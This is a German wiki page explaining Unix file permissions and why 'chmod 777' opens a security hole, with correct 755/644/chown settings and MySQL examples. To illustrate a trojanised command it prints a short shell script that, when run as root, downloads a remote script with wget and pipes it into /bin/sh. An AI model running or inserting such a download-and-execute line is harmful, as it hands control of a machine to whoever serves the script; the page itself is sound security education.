User Tools

Site Tools


docs:chmod777

This is an old revision of the document!


Warum "chmod 777" eine ganz schlechte Idee ist

Bei Problemen beliebiger Art findet man “im Internet” (meist in Blogs und Foren) den Hinweis, man solle das Problem mit “chmod 777” beheben.

Manchmal scheint das sogar die Lösung zu sein, weil anschliessend funktioniert, was zuvor nicht tat.

Das Problem mit der Methode ist: sie reisst ein fettes Sicherheitsloch in das System.

Der Grund ist, dass man in diesem Fall viel zu viele Rechte eingeräumt hat, die sich in der dann vorliegenden Kombination auch noch verstärken.

Was passiert da?

Das kann man verstehen, wenn man in Detail anschaut, was passiert:

Das UN*X-Dateisystem kennt drei Rechte (“permissions”):

  • r - lesen
  • w - schreiben
  • x - ausführen

für jeweils drei Klassen von Nutzern:

  • Eigentümer der Datei
  • Gruppenzugehörigkeit der Datei
  • Alle Übrigen

Weiter gehört jede Datei:

  • einem Owner (UN*X-System-User)
  • einer Group (UN*X-System-Group)

Beispiel Programmdatei

Mit ls -l sieht das z.B. so aus:

           -rwxr-xr-x 1 root root 130128 Jan 26  2013 /bin/cp
file type  ^
perm owner -^^^
perm group ----^^^
perm other -------^^^
file owner -------------^^^^
file group ------------------^^^^

die Permissions “rwxr-xr-x” bedeuten also:

  • der Owner (hier: root) darf die Datei lesen, schreiben und ausführen.
  • Mitglieder der Gruppe (hier ebenfalls: root) dürfen die Datei lesen und ausführen.
  • alle Übrigen dürfen die Datei ebenfalls lesen und ausführen.

Anders formuliert:

  • Alle dürfen die Datei lesen und ausführen
  • nur 'root' - der Dateieigentümer - darf sie schreiben.

Das ist die korrekte Einstellung für die allermeisten Programmdateien auf dem System.

Eine Notwendigkeit, eine Programmdatei schreibbar für die Gruppe oder gar alle zu machen, gibt es nicht.

Beispiel Daten-Datei

Dateien, die keine Programme enthalten, benötigen kein Ausführungsrecht.

Mit ls -l sieht das z.B. so aus:

           -rw-r--r-- 1 root root 2524 Feb 12 19:33 /etc/passwd
file type  ^
perm owner -^^^
perm group ----^^^
perm other -------^^^
file owner -------------^^^^
file group ------------------^^^^

die Permissions “rw-r–r–” bedeuten also:

  • der Owner (hier: root) darf die Datei lesen und schreiben.
  • Mitglieder der Gruppe (hier ebenfalls: root) dürfen die Datei lesen.
  • alle Übrigen dürfen die Datei ebenfalls lesen.

Anders formuliert:

  • Alle dürfen die Datei lesen.
  • nur 'root' - der Dateieigentümer - darf sie schreiben.

Das ist die korrekte Einstellung für die meisten - aber nicht alle! - Daten-Dateien auf dem System.

Eine Notwendigkeit, eine Datendatei ausführbar für irgendwen zu machen, gibt es nicht.

Was gelegentlich vorkommt, ist, dass eine Daten-Datei von einem anderen als dem User “root” geschrieben werden können soll. Das kommt z.B. bei Protokolldateien und Datenbanken vor. In dem Falle müssen nicht die Permissions, sondern der Owner geändert werden. Mehr dazu weiter unten.

... und das Problem mit "777" ist jetzt?

Wenn eine Datei mit allen Permissions existiert, kann sie von jedem geschrieben und von jedem (anderen) ausgeführt werden.

Das heisst, jeder Prozess kann den Inhalt der Datei verändern und z.B. beliebigen Programmcode hineinschreiben. Und der wird ausgeführt, sobald irgendwas oder irgendjemand die Datei ausführt.

Angenommen, der Inhalt der Datei wird ersetzt durch etwas wie:

#!/bin/sh
if [ `id -u` != 0 ]; then 
	echo "error: you need to be root to run $0"	
else 
	wget -q http://example.com/really-bad-script -O - | /bin/sh
fi

dann gehört einem die Maschine nach dem Aufruf des so trojanisierten Kommandos noch etwa 0.5 Sekunden.

Man sieht: die Kombination von “Ausführendürfen von nicht Programmdateien” und “jeder darf schreiben” ist für nochmal mehr Ärger gut als die einzelnen Fehleinstellungen.

Dabei ist es egal ob es sich um den Firmenserver, den heimischen PC, einen Einplatinenrechner wie den Raspberry Pi oder einen Router mit OpenWrt handelt.

Wie macht man es richtig?

Programmdateien (Binärfiles, Scripte):

	chmod 755 DATEINAME

Datendateien (Datenbanken, Logfiles):

	chmod 644 DATEINAME

zusätzlich, wenn ein User ungleich root Schreibrechte benötigt:

	chown USER DATEINAME

Beispiele:

MySQL

drwx------ 2 mysql mysql  4096 May  3  2014 db_accounting
-rw-rw---- 1 mysql mysql  8640 May  3  2014 db_accounting/objAttr.frm
-rw-rw---- 1 mysql mysql 98304 May  3  2014 db_accounting/objAttr.ibd

Der MySQL-Serverprozess läuft mit der User-ID “mysql”. Daher genügt es, wenn die Datenbank-Dateien und -Verzeichnisse von diesem User geschrieben und gelesen werden können.

Die Datenbank-Dateien sind keine Programme, also brauchen sie keine Ausführungsrechte.

das Script aus dem Internet

-rwxr-xr-x 1 root root 222 Jun 15  2014 /usr/local/bin/b64z

Es soll von allen benutzt werden können, also hat es Ausführungsrechte für alle. Schreibrechte sind nicht erforderlich und daher nicht erteilt. Und es gehört 'root'.

docs/chmod777.1457270381.txt.gz · Last modified: 2016/03/06 14:19 by 91.89.129.106